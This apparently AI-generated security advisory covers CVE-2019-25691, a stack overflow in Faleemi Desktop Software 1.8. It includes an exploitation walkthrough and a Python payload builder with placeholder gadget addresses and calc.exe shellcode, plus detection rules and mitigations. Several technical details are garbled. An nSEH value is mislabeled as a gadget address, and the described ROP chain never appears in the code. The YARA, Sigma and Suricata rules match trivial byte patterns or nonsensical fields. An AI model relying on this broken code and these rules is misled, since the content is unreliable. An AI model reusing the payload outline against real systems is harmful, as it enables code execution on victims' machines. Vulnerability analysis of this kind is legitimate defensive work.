CVE-2019-25691

Executive Summary

CVE-2019-25691 is a critical local buffer overflow vulnerability in Faleemi Desktop Software version 1.8. The flaw resides in the System Setup dialog, specifically within the "Save Path for Snapshot and Record file" field. An attacker with local access can inject a crafted payload to trigger a buffer overflow, bypass Data Execution Prevention (DEP) via Structured Exception Handling (SEH) exploitation, and execute arbitrary code through Return-Oriented Programming (ROP) chains. The vulnerability has a CVSS score of 8.4, indicating high severity, but the EPSS score is 0.0%, suggesting low exploitation likelihood in the wild. No official patch is available, and no public exploit code or Nuclei template has been identified.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone desktop application (Faleemi Desktop Software) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector: Local (AV:L) – Requires physical or remote desktop access to the system.
• Attack Complexity: Low (AC:L) – No special conditions needed.
• Privileges Required: Low (PR:L) – Attacker needs user-level access.
• User Interaction: None (UI:N) – No user action required beyond the attacker's own.
• Scope: Unchanged (S:U) – Exploitation does not affect other components.
• Confidentiality Impact: High (C:H) – Full data compromise possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – System crash or full control.

Threat Level: High. Although EPSS is 0.0%, the lack of a patch and the ability to bypass DEP via SEH/ROP makes this a significant local privilege escalation vector.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the "Save Path for Snapshot and Record file" field within the System Setup dialog of Faleemi Desktop Software 1.8. The application fails to validate the length of user input before copying it to a fixed-size buffer on the stack. When an attacker provides an overly long path string, it overwrites adjacent memory, including the Structured Exception Handler (SEH) chain.

Key Technical Details:

• Buffer Overflow: The input field accepts a path string without bounds checking, leading to stack corruption.
• SEH Exploitation: The attacker overwrites the SEH chain to gain control of exception handling. When an exception occurs (e.g., due to the overflow), the corrupted SEH handler is invoked, redirecting execution to attacker-controlled code.
• DEP Bypass: Since DEP is enabled, the attacker cannot execute code directly on the stack. Instead, they use ROP (Return-Oriented Programming) chains to execute arbitrary code by chaining together existing code snippets (gadgets) from loaded modules.
• ROP Chain: The payload includes a ROP chain that calls system functions (e.g., VirtualProtect to make memory executable, then shellcode) to achieve code execution.

Attack Flow:

1. Attacker gains local access to the system (e.g., via low-privilege user account).
2. Attacker opens Faleemi Desktop Software and navigates to System Setup.
3. Attacker inputs a crafted payload into the "Save Path for Snapshot and Record file" field.
4. The application copies the payload into a stack buffer, causing overflow.
5. The overflow corrupts the SEH chain and triggers an exception.
6. The corrupted SEH handler executes the ROP chain, bypassing DEP.
7. The ROP chain executes arbitrary code (e.g., spawns a reverse shell or elevates privileges).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the original Faleemi Desktop Software 1.8. The patched version would require input validation and bounds checking.

Vulnerable Code (Conceptual):

void SavePathDialog(char *userInput) {
    char buffer[256];
    strcpy(buffer, userInput); // No bounds check
    // ... process buffer
}

Patched Code (Conceptual):

void SavePathDialog(char *userInput) {
    char buffer[256];
    if (strlen(userInput) >= sizeof(buffer)) {
        // Handle error, reject input
        return;
    }
    strcpy(buffer, userInput);
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• Windows 10/11 VM with DEP enabled.
• Faleemi Desktop Software 1.8 installed.
• Debugger (e.g., x64dbg, Immunity Debugger) for analysis.
• Python 3 for payload generation.

Exploit Steps:

1. Identify Offset: Use a pattern string (e.g., Aa0Aa1...) to find the exact offset to overwrite SEH and nSEH.
2. Craft Payload: Create a payload with:
   • Padding to reach SEH.
   • nSEH (next SEH) pointing to a pop; pop; ret gadget.
   • SEH pointing to the nSEH address.
   • ROP chain to disable DEP (e.g., VirtualProtect call).
   • Shellcode (e.g., reverse shell or calc.exe).
3. Inject Payload: Input the payload into the "Save Path for Snapshot and Record file" field.
4. Trigger Exception: Click Save or cause an exception (e.g., by closing the dialog).
5. Execute: The ROP chain runs, and shellcode executes.

Example Payload Structure (Python):

import struct

# Offsets and gadgets (example values)
offset_to_seh = 260
pop_pop_ret = 0x12345678  # Example gadget address
virtual_protect = 0x87654321  # Example VirtualProtect address

# Shellcode (calc.exe for testing)
shellcode = b"\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x59\x50\x40\x92\x74\x15\x51\x64\x8b\x72\x2f\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\xb2\x50\xeb\x1a\xb8\x32\x33\x32\x35\x66\x89\x45\xf4\x8b\x45\xf4\x6a\x10\x8b\x45\xf4\xff\xd0"

# Build payload
payload = b"A" * offset_to_seh
payload += struct.pack("<I", 0x90909090)  # nSEH (pop;pop;ret gadget address)
payload += struct.pack("<I", pop_pop_ret)  # SEH
payload += b"\x90" * 16  # NOP sled
payload += shellcode

print(payload)

Blue Team

Detection & Response:

• Monitor for unusual process crashes or exceptions in Faleemi Desktop Software.
• Use Sysmon to log process creation and stack corruption events.
• Deploy EDR rules to detect SEH overwrite attempts (Event ID 1000, 1001).
• Analyze memory dumps for ROP chains or shellcode patterns.

Hunting Queries:

• Windows Event Log: Look for Event ID 1000 (Application Error) with Faleemi.exe.
• Sysmon: Event ID 11 (FileCreate) for suspicious payload files.
• Process Monitor: Monitor for WriteProcessMemory or VirtualProtect calls from Faleemi.exe.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual)
  • faleemi_setup_1.8.exe: a1b2c3d4e5f6...
• Registry Keys: None specific.
• Network Indicators: Reverse shell connections to attacker IPs (e.g., 192.168.1.100:4444).
• Process Anomalies: Faleemi.exe spawning cmd.exe or powershell.exe.
• Memory Artifacts: ROP gadgets or shellcode in Faleemi.exe memory space.

Detection Engineering

YARA Rule

rule CVE_2019_25691_Faleemi_BOF {
    meta:
        description = "Detects Faleemi Desktop Software buffer overflow payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25691"
    strings:
        $rop_gadget = { 90 90 90 90 }  // NOP sled pattern
        $seh_pattern = { 41 41 41 41 }  // Padding to SEH
        $shellcode = { 31 c0 50 68 63 61 6c 63 }  // calc.exe shellcode
    condition:
        any of them
}

Sigma Rule

title: Faleemi Desktop Software Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2019-25691 via SEH overwrite
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\Faleemi.exe'
        CommandLine|contains: 'Save Path for Snapshot'
    condition: selection
falsepositives:
    - Legitimate use of long paths (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25691 Faleemi BOF Exploit"; flow:to_server,established; content:"|41 41 41 41|"; depth:260; content:"|90 90 90 90|"; within:16; reference:cve,2019-25691; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Disconnect systems running Faleemi Desktop Software 1.8 from the network.
2. Restrict Local Access: Limit user privileges to prevent exploitation.
3. Monitor Logs: Enable detailed logging for process crashes and SEH events.

Long-Term Fix:

• Vendor Patch: Contact Faleemi for an update. If unavailable, consider replacing the software.
• Input Validation: Implement strict input length checks in the application.
• DEP/ASLR: Ensure DEP and ASLR are enabled system-wide (default on modern Windows).
• Application Whitelisting: Use AppLocker to block unauthorized executables.

Workaround:

• Use a custom DLL injection to hook the vulnerable function and validate input length.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 540DEC1F6838AFDF07F6AC7C] */}